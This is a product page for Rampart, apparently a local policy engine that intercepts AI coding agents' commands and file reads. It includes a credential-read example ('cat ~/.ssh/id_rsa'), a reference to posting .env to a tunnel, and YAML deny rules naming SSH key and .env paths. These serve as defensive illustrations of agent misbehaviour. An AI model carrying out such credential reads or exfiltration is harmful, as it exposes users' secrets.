Rampart sits between your agent and your system. Every command, file access, and network request is evaluated against your YAML policy before it executes. One Go binary. No cloud. No latency your agent can feel.
Claude Code's --dangerously-skip-permissions. Codex's --full-auto mode. Fast agent workflows increasingly assume full local trust. Here's what that actually means.
No guardrail in the execution path. No approval gate. No tamper-evident audit trail after the fact.
LD_PRELOAD, wrappers, hooks, and file/network policy enforcement are the happy path.
DYLD_INSERT_LIBRARIES has SIP boundaries. Homebrew/user-installed binaries work best.
Use Claude/Cline/API/MCP-style integrations. Codex preload/wrap and OpenClaw plugin setup are not the Windows story.
Sandboxes are useful, but they often block npm install, git clone, and the API calls your agent needs to finish the job. Rampart keeps the workflow moving and blocks credential reads, exfiltration, and destructive commands.
Agent can't install deps, run tests, or hit your staging API. Secure, but you fight the sandbox to get work done.
$ sandbox --allow ./project -- agent ✗ npm install # denied ✗ pytest --db-url ... # denied ✗ curl staging.api # denied
Agent works normally. Rampart only intervenes on credential access, exfiltration, and destructive commands.
$ rampart setup claude-code ✔ npm install # allowed ✔ pytest --db-url ... # allowed ✗ cat ~/.ssh/id_rsa # denied
It sits in the execution path. Every command, file read, network request, and MCP call is evaluated before it runs. Most requests pass in microseconds. Risky ones are denied, held for approval, or redacted before secrets reach the model.
It can install dependencies, run tests, clone repos, and call the APIs you allow. It just cannot quietly read ~/.ssh/id_rsa, post .env to a tunnel, or rewrite its own policy.
npm install, go test ./..., and git status stay fast because common safe actions are pattern-matched locally.
Rules with action: ask hold commands like kubectl apply until a human decides.
Credential reads, exfiltration patterns, destructive shell commands, and policy self-modification are blocked before execution.
If a file read would put credentials into the agent's context window, the response is blocked before the model ever sees it. That matters when the dangerous thing is not the read itself, but what comes back.
.envThe file access is normalized as a tool response, not just a path.AWS_SECRET_ACCESS_KEY, private keys, tokens, and similar secrets match local policy.Use the native setup where Rampart knows the agent. Use wrapping or the MCP proxy everywhere else.
No SDK, no cloud console, no proprietary rule builder. Use the built-in profile, or write the exact rule you want reviewed before a tool call runs.
version: "1"
policies:
- name: block-credential-leak
match:
tool: file.read
rules:
- when:
path_matches:
- "**/.env"
- "**/.ssh/*"
- "**/id_rsa"
action: deny
message: "Credential access blocked"
- name: ask-before-production
match:
tool: exec
rules:
- when:
command_matches: ["kubectl apply *"]
action: askStops unsafe agent actions before they run. It protects the execution path: commands, file reads, network calls, and MCP tools.
Plants credential canaries so you know when something escaped anyway. It tells you when your assumptions failed.
Install in seconds. No account, no API key, no cloud dependency.
Installs to ~/.local/bin. No sudo required.
Then connect your agent:
$ rampart setup # auto-detects all your agents # or target one: rampart setup claude-code / codex / cline / openclaw --plugin